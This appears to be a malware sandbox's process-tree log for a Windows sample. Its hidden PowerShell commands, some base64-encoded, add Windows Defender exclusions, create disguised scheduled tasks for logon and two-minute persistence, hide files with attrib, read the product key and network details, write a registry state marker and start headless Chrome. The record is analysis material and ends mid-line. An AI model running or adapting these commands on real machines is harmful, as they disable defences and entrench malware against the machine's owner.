  powershell.exe -NoP -NonInteractive -W Hidden -EncodedCommand dAByAHkAewAkAGsAPQAnAEgASwBDAFUAOgBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgBcAEUAeABjAGwAdQBzAGkAbwBuAHMAXABQAGEAdABoAHMAJwA7AGkAZgAoACEAKABUAGUAcwB0AC0AUABhAHQAaAAgAC0ATABpAHQAZQByAGEAbABQAGEAdABoACAAJABrACkAKQB7AE4AZQB3AC0ASQB0AGUAbQAgAC0AUABhAHQAaAAgACQAawAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsAH0AOwBOAGUAdwAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAAJABrACAALQBOAGEAbQBlACAAJwBDADoAXABcAFUAcwBlAHIAcwBcAFwAQQBkAG0AaQBuAFwAXABBAHAAcABEAGEAdABhAFwAXABMAG8AYwBhAGwAXABcAE0AaQBjAHIAbwBzAG8AZgB0AFwAXABFAGQAZwBlAFUAcABkAGEAdABlACcAIAAtAFYAYQBsAHUAZQAgADAAIAAtAFAAcgBvAHAAZQByAHQAeQBUAHkAcABlACAARABXAE8AUgBEACAALQBGAG8AcgBjAGUAfABPAHUAdAAtAE4AdQBsAGwAfQBjAGEAdABjAGgAewB9AA==
  2⤵
  PID:1260
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MsEdgeAutoUpdate.exe" 2>nul'"
  2⤵
  PID:5760
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MsEdgeAutoUpdate.exe 2>nul"
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    PID:5140
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MsEdgeAutoUpdate.exe
      4⤵
      Views/modifies file attributes
      PID:1908
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -EncodedCommand dAByAHkAewAkAGsAPQAnAEgASwBDAFUAOgBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgBcAEUAeABjAGwAdQBzAGkAbwBuAHMAXABQAGEAdABoAHMAJwA7AGkAZgAoACEAKABUAGUAcwB0AC0AUABhAHQAaAAgAC0ATABpAHQAZQByAGEAbABQAGEAdABoACAAJABrACkAKQB7AE4AZQB3AC0ASQB0AGUAbQAgAC0AUABhAHQAaAAgACQAawAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsAH0AOwBOAGUAdwAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAAJABrACAALQBOAGEAbQBlACAAJwBDADoAXABcAFUAcwBlAHIAcwBcAFwAQQBkAG0AaQBuAFwAXABBAHAAcABEAGEAdABhAFwAXABMAG8AYwBhAGwAXABcAE0AaQBjAHIAbwBzAG8AZgB0AFwAXABFAGQAZwBlAFUAcABkAGEAdABlAFwAXABNAHMARQBkAGcAZQBBAHUAdABvAFUAcABkAGEAdABlAC4AZQB4AGUAJwAgAC0AVgBhAGwAdQBlACAAMAAgAC0AUAByAG8AcABlAHIAdAB5AFQAeQBwAGUAIABEAFcATwBSAEQAIAAtAEYAbwByAGMAZQB8AE8AdQB0AC0ATgB1AGwAbAB9AGMAYQB0AGMAaAB7AH0A
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:5348
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -EncodedCommand dAByAHkAewAkAGsAPQAnAEgASwBDAFUAOgBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgBcAEUAeABjAGwAdQBzAGkAbwBuAHMAXABQAHIAbwBjAGUAcwBzAGUAcwAnADsAaQBmACgAIQAoAFQAZQBzAHQALQBQAGEAdABoACAALQBMAGkAdABlAHIAYQBsAFAAYQB0AGgAIAAkAGsAKQApAHsATgBlAHcALQBJAHQAZQBtACAALQBQAGEAdABoACAAJABrACAALQBGAG8AcgBjAGUAfABPAHUAdAAtAE4AdQBsAGwAfQA7AE4AZQB3AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAtAFAAYQB0AGgAIAAkAGsAIAAtAE4AYQBtAGUAIAAnAE0AcwBFAGQAZwBlAEEAdQB0AG8AVQBwAGQAYQB0AGUALgBlAHgAZQAnACAALQBWAGEAbAB1AGUAIAAwACAALQBQAHIAbwBwAGUAcgB0AHkAVAB5AHAAZQAgAEQAVwBPAFIARAAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsAH0AYwBhAHQAYwBoAHsAfQA=
  2⤵
  PID:2920
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'schtasks /create /tn "MicrosoftEdgeAutoUpdateTask" /tr ""C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MsEdgeAutoUpdate.exe"" /sc ONLOGON /rl LIMITED /f 2>nul'"
  2⤵
  PID:4300
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "schtasks /create /tn MicrosoftEdgeAutoUpdateTask /tr "C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MsEdgeAutoUpdate.exe /sc ONLOGON /rl LIMITED /f 2>nul"
    3⤵
    PID:2556
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn MicrosoftEdgeAutoUpdateTask /tr "C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MsEdgeAutoUpdate.exe /sc ONLOGON /rl LIMITED /f 2>nul
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:812
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'schtasks /create /tn "MicrosoftEdgeAutoUpdateTask_timer" /tr ""C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MsEdgeAutoUpdate.exe"" /sc MINUTE /mo 2 /rl LIMITED /f 2>nul'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:2432
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4132
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "schtasks /create /tn MicrosoftEdgeAutoUpdateTask_timer /tr "C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MsEdgeAutoUpdate.exe /sc MINUTE /mo 2 /rl LIMITED /f 2>nul"
    3⤵
    PID:4976
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn MicrosoftEdgeAutoUpdateTask_timer /tr "C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MsEdgeAutoUpdate.exe /sc MINUTE /mo 2 /rl LIMITED /f 2>nul
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:4804
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\Windows\WindowsUpdate" 2>nul'"
  2⤵
  PID:4348
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\Windows\WindowsUpdate 2>nul"
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    PID:920
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\Windows\WindowsUpdate
      4⤵
      Views/modifies file attributes
      PID:5988
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -EncodedCommand dAByAHkAewAkAGsAPQAnAEgASwBDAFUAOgBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgBcAEUAeABjAGwAdQBzAGkAbwBuAHMAXABQAGEAdABoAHMAJwA7AGkAZgAoACEAKABUAGUAcwB0AC0AUABhAHQAaAAgAC0ATABpAHQAZQByAGEAbABQAGEAdABoACAAJABrACkAKQB7AE4AZQB3AC0ASQB0AGUAbQAgAC0AUABhAHQAaAAgACQAawAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsAH0AOwBOAGUAdwAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAAJABrACAALQBOAGEAbQBlACAAJwBDADoAXABcAFUAcwBlAHIAcwBcAFwAQQBkAG0AaQBuAFwAXABBAHAAcABEAGEAdABhAFwAXABMAG8AYwBhAGwAXABcAE0AaQBjAHIAbwBzAG8AZgB0AFwAXABXAGkAbgBkAG8AdwBzAFwAXABXAGkAbgBkAG8AdwBzAFUAcABkAGEAdABlACcAIAAtAFYAYQBsAHUAZQAgADAAIAAtAFAAcgBvAHAAZQByAHQAeQBUAHkAcABlACAARABXAE8AUgBEACAALQBGAG8AcgBjAGUAfABPAHUAdAAtAE4AdQBsAGwAfQBjAGEAdABjAGgAewB9AA==
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:2892
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\Windows\WindowsUpdate\wuauclt.exe" 2>nul'"
  2⤵
  PID:5352
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\Windows\WindowsUpdate\wuauclt.exe 2>nul"
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    PID:5144
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\Windows\WindowsUpdate\wuauclt.exe
      4⤵
      Views/modifies file attributes
      PID:1140
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -EncodedCommand KABHAGUAdAAtAEMAaQBtAEkAbgBzAHQAYQBuAGMAZQAgAFMAbwBmAHQAdwBhAHIAZQBMAGkAYwBlAG4AcwBpAG4AZwBQAHIAbwBkAHUAYwB0ACAAfAAgAFcAaABlAHIAZQAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBQAGEAcgB0AGkAYQBsAFAAcgBvAGQAdQBjAHQASwBlAHkAfQAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAATgBhAG0AZQAsAEwAaQBjAGUAbgBzAGUAUwB0AGEAdAB1AHMALABQAGEAcgB0AGkAYQBsAFAAcgBvAGQAdQBjAHQASwBlAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAgACcAewAwAH0AIAB8ACAAUwB0AGEAdAB1AHMAOgAgAHsAMQB9ACAAfAAgAEsAZQB5ADoAIAAuAC4ALgB7ADIAfQAnACAALQBmACAAJABfAC4ATgBhAG0AZQAsACQAXwAuAEwAaQBjAGUAbgBzAGUAUwB0AGEAdAB1AHMALAAkAF8ALgBQAGEAcgB0AGkAYQBsAFAAcgBvAGQAdQBjAHQASwBlAHkAIAB9ACkA
  2⤵
  PID:1040
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -EncodedCommand dAByAHkAewAkAGsAPQAnAEgASwBDAFUAOgBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgBcAEUAeABjAGwAdQBzAGkAbwBuAHMAXABQAGEAdABoAHMAJwA7AGkAZgAoACEAKABUAGUAcwB0AC0AUABhAHQAaAAgAC0ATABpAHQAZQByAGEAbABQAGEAdABoACAAJABrACkAKQB7AE4AZQB3AC0ASQB0AGUAbQAgAC0AUABhAHQAaAAgACQAawAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsAH0AOwBOAGUAdwAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAAJABrACAALQBOAGEAbQBlACAAJwBDADoAXABcAFUAcwBlAHIAcwBcAFwAQQBkAG0AaQBuAFwAXABBAHAAcABEAGEAdABhAFwAXABMAG8AYwBhAGwAXABcAE0AaQBjAHIAbwBzAG8AZgB0AFwAXABXAGkAbgBkAG8AdwBzAFwAXABXAGkAbgBkAG8AdwBzAFUAcABkAGEAdABlAFwAXAB3AHUAYQB1AGMAbAB0AC4AZQB4AGUAJwAgAC0AVgBhAGwAdQBlACAAMAAgAC0AUAByAG8AcABlAHIAdAB5AFQAeQBwAGUAIABEAFcATwBSAEQAIAAtAEYAbwByAGMAZQB8AE8AdQB0AC0ATgB1AGwAbAB9AGMAYQB0AGMAaAB7AH0A
  2⤵
  PID:476
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -EncodedCommand dAByAHkAewAkAGsAPQAnAEgASwBDAFUAOgBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgBcAEUAeABjAGwAdQBzAGkAbwBuAHMAXABQAHIAbwBjAGUAcwBzAGUAcwAnADsAaQBmACgAIQAoAFQAZQBzAHQALQBQAGEAdABoACAALQBMAGkAdABlAHIAYQBsAFAAYQB0AGgAIAAkAGsAKQApAHsATgBlAHcALQBJAHQAZQBtACAALQBQAGEAdABoACAAJABrACAALQBGAG8AcgBjAGUAfABPAHUAdAAtAE4AdQBsAGwAfQA7AE4AZQB3AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAtAFAAYQB0AGgAIAAkAGsAIAAtAE4AYQBtAGUAIAAnAHcAdQBhAHUAYwBsAHQALgBlAHgAZQAnACAALQBWAGEAbAB1AGUAIAAwACAALQBQAHIAbwBwAGUAcgB0AHkAVAB5AHAAZQAgAEQAVwBPAFIARAAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsAH0AYwBhAHQAYwBoAHsAfQA=
  2⤵
  PID:3288
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5504
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'schtasks /create /tn "WindowsUpdateAgent" /tr ""C:\Users\Admin\AppData\Local\Microsoft\Windows\WindowsUpdate\wuauclt.exe"" /sc ONLOGON /rl LIMITED /f 2>nul'"
  2⤵
  PID:1236
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "schtasks /create /tn WindowsUpdateAgent /tr "C:\Users\Admin\AppData\Local\Microsoft\Windows\WindowsUpdate\wuauclt.exe /sc ONLOGON /rl LIMITED /f 2>nul"
    3⤵
    PID:4256
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn WindowsUpdateAgent /tr "C:\Users\Admin\AppData\Local\Microsoft\Windows\WindowsUpdate\wuauclt.exe /sc ONLOGON /rl LIMITED /f 2>nul
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:4120
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'schtasks /create /tn "WindowsUpdateAgent_timer" /tr ""C:\Users\Admin\AppData\Local\Microsoft\Windows\WindowsUpdate\wuauclt.exe"" /sc MINUTE /mo 2 /rl LIMITED /f 2>nul'"
  2⤵
  PID:672
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "schtasks /create /tn WindowsUpdateAgent_timer /tr "C:\Users\Admin\AppData\Local\Microsoft\Windows\WindowsUpdate\wuauclt.exe /sc MINUTE /mo 2 /rl LIMITED /f 2>nul"
    3⤵
    PID:3396
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn WindowsUpdateAgent_timer /tr "C:\Users\Admin\AppData\Local\Microsoft\Windows\WindowsUpdate\wuauclt.exe /sc MINUTE /mo 2 /rl LIMITED /f 2>nul
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:944
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\SearchFilter" 2>nul'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:3032
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\SearchFilter 2>nul"
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    PID:5520
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\SearchFilter
      4⤵
      Views/modifies file attributes
      PID:3160
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -EncodedCommand dAByAHkAewAkAGsAPQAnAEgASwBDAFUAOgBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgBcAEUAeABjAGwAdQBzAGkAbwBuAHMAXABQAGEAdABoAHMAJwA7AGkAZgAoACEAKABUAGUAcwB0AC0AUABhAHQAaAAgAC0ATABpAHQAZQByAGEAbABQAGEAdABoACAAJABrACkAKQB7AE4AZQB3AC0ASQB0AGUAbQAgAC0AUABhAHQAaAAgACQAawAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsAH0AOwBOAGUAdwAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAAJABrACAALQBOAGEAbQBlACAAJwBDADoAXABcAFUAcwBlAHIAcwBcAFwAQQBkAG0AaQBuAFwAXABBAHAAcABEAGEAdABhAFwAXABMAG8AYwBhAGwAXABcAE0AaQBjAHIAbwBzAG8AZgB0AFwAXABTAGUAYQByAGMAaABGAGkAbAB0AGUAcgAnACAALQBWAGEAbAB1AGUAIAAwACAALQBQAHIAbwBwAGUAcgB0AHkAVAB5AHAAZQAgAEQAVwBPAFIARAAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsAH0AYwBhAHQAYwBoAHsAfQA=
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:1232
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\SearchFilter\SearchFilterHost.exe" 2>nul'"
  2⤵
  PID:2728
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\SearchFilter\SearchFilterHost.exe 2>nul"
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    PID:4584
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\SearchFilter\SearchFilterHost.exe
      4⤵
      Views/modifies file attributes
      PID:5412
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -EncodedCommand dAByAHkAewAkAGsAPQAnAEgASwBDAFUAOgBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgBcAEUAeABjAGwAdQBzAGkAbwBuAHMAXABQAGEAdABoAHMAJwA7AGkAZgAoACEAKABUAGUAcwB0AC0AUABhAHQAaAAgAC0ATABpAHQAZQByAGEAbABQAGEAdABoACAAJABrACkAKQB7AE4AZQB3AC0ASQB0AGUAbQAgAC0AUABhAHQAaAAgACQAawAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsAH0AOwBOAGUAdwAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAAJABrACAALQBOAGEAbQBlACAAJwBDADoAXABcAFUAcwBlAHIAcwBcAFwAQQBkAG0AaQBuAFwAXABBAHAAcABEAGEAdABhAFwAXABMAG8AYwBhAGwAXABcAE0AaQBjAHIAbwBzAG8AZgB0AFwAXABTAGUAYQByAGMAaABGAGkAbAB0AGUAcgBcAFwAUwBlAGEAcgBjAGgARgBpAGwAdABlAHIASABvAHMAdAAuAGUAeABlACcAIAAtAFYAYQBsAHUAZQAgADAAIAAtAFAAcgBvAHAAZQByAHQAeQBUAHkAcABlACAARABXAE8AUgBEACAALQBGAG8AcgBjAGUAfABPAHUAdAAtAE4AdQBsAGwAfQBjAGEAdABjAGgAewB9AA==
  2⤵
  PID:4288
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -EncodedCommand dAByAHkAewAkAGsAPQAnAEgASwBDAFUAOgBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgBcAEUAeABjAGwAdQBzAGkAbwBuAHMAXABQAHIAbwBjAGUAcwBzAGUAcwAnADsAaQBmACgAIQAoAFQAZQBzAHQALQBQAGEAdABoACAALQBMAGkAdABlAHIAYQBsAFAAYQB0AGgAIAAkAGsAKQApAHsATgBlAHcALQBJAHQAZQBtACAALQBQAGEAdABoACAAJABrACAALQBGAG8AcgBjAGUAfABPAHUAdAAtAE4AdQBsAGwAfQA7AE4AZQB3AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAtAFAAYQB0AGgAIAAkAGsAIAAtAE4AYQBtAGUAIAAnAFMAZQBhAHIAYwBoAEYAaQBsAHQAZQByAEgAbwBzAHQALgBlAHgAZQAnACAALQBWAGEAbAB1AGUAIAAwACAALQBQAHIAbwBwAGUAcgB0AHkAVAB5AHAAZQAgAEQAVwBPAFIARAAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsAH0AYwBhAHQAYwBoAHsAfQA=
  2⤵
  PID:2856
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'schtasks /create /tn "SearchFilterSvc" /tr ""C:\Users\Admin\AppData\Local\Microsoft\SearchFilter\SearchFilterHost.exe"" /sc ONLOGON /rl LIMITED /f 2>nul'"
  2⤵
  PID:2836
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "schtasks /create /tn SearchFilterSvc /tr "C:\Users\Admin\AppData\Local\Microsoft\SearchFilter\SearchFilterHost.exe /sc ONLOGON /rl LIMITED /f 2>nul"
    3⤵
    PID:4556
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn SearchFilterSvc /tr "C:\Users\Admin\AppData\Local\Microsoft\SearchFilter\SearchFilterHost.exe /sc ONLOGON /rl LIMITED /f 2>nul
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:6048
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -Command "(Get-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductId -ErrorAction SilentlyContinue).ProductId"
  2⤵
  PID:460
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'schtasks /create /tn "SearchFilterSvc_timer" /tr ""C:\Users\Admin\AppData\Local\Microsoft\SearchFilter\SearchFilterHost.exe"" /sc MINUTE /mo 2 /rl LIMITED /f 2>nul'"
  2⤵
  PID:4336
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "schtasks /create /tn SearchFilterSvc_timer /tr "C:\Users\Admin\AppData\Local\Microsoft\SearchFilter\SearchFilterHost.exe /sc MINUTE /mo 2 /rl LIMITED /f 2>nul"
    3⤵
    PID:3416
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn SearchFilterSvc_timer /tr "C:\Users\Admin\AppData\Local\Microsoft\SearchFilter\SearchFilterHost.exe /sc MINUTE /mo 2 /rl LIMITED /f 2>nul
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:1072
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'ipconfig /all'"
  2⤵
  PID:2816
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "ipconfig /all"
    3⤵
    PID:2956
  - - C:\Windows\system32\ipconfig.exe
      ipconfig /all
      4⤵
      Gathers network information
      PID:3324
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\MediaPlayer\Config" 2>nul'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4688
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\MediaPlayer\Config 2>nul"
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    PID:2428
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\MediaPlayer\Config
      4⤵
      Views/modifies file attributes
      PID:4172
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "NyxarWorkerState" /t REG_SZ /d "SYSINFO_DONE|11111111-1111-1111-1111-111111111111|C:\Users\Admin\AppData\Local\Temp\\out_11111111-1111-1111-1111-111111111111_1784277463159|3284|1784277483664" /f 2>nul'"
  2⤵
  PID:4140
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run /v NyxarWorkerState /t REG_SZ /d SYSINFO_DONE|11111111-1111-1111-1111-111111111111|C:\Users\Admin\AppData\Local\Temp\\out_11111111-1111-1111-1111-111111111111_1784277463159|3284|1784277483664 /f 2>nul"
    3⤵
    PID:6044
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run /v NyxarWorkerState /t REG_SZ /d SYSINFO_DONE
      4⤵
      Modifies registry key
      PID:1384
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -EncodedCommand dAByAHkAewAkAGsAPQAnAEgASwBDAFUAOgBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgBcAEUAeABjAGwAdQBzAGkAbwBuAHMAXABQAGEAdABoAHMAJwA7AGkAZgAoACEAKABUAGUAcwB0AC0AUABhAHQAaAAgAC0ATABpAHQAZQByAGEAbABQAGEAdABoACAAJABrACkAKQB7AE4AZQB3AC0ASQB0AGUAbQAgAC0AUABhAHQAaAAgACQAawAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsAH0AOwBOAGUAdwAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAAJABrACAALQBOAGEAbQBlACAAJwBDADoAXABcAFUAcwBlAHIAcwBcAFwAQQBkAG0AaQBuAFwAXABBAHAAcABEAGEAdABhAFwAXABMAG8AYwBhAGwAXABcAE0AaQBjAHIAbwBzAG8AZgB0AFwAXABNAGUAZABpAGEAUABsAGEAeQBlAHIAXABcAEMAbwBuAGYAaQBnACcAIAAtAFYAYQBsAHUAZQAgADAAIAAtAFAAcgBvAHAAZQByAHQAeQBUAHkAcABlACAARABXAE8AUgBEACAALQBGAG8AcgBjAGUAfABPAHUAdAAtAE4AdQBsAGwAfQBjAGEAdABjAGgAewB9AA==
  2⤵
  PID:2344
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --headless=new --no-sandbox --no-first-run --disable-gpu --disable-extensions
  2⤵
  PID:3204
- - C:\Program Files\Google\Chrome\Application\chrome.exe
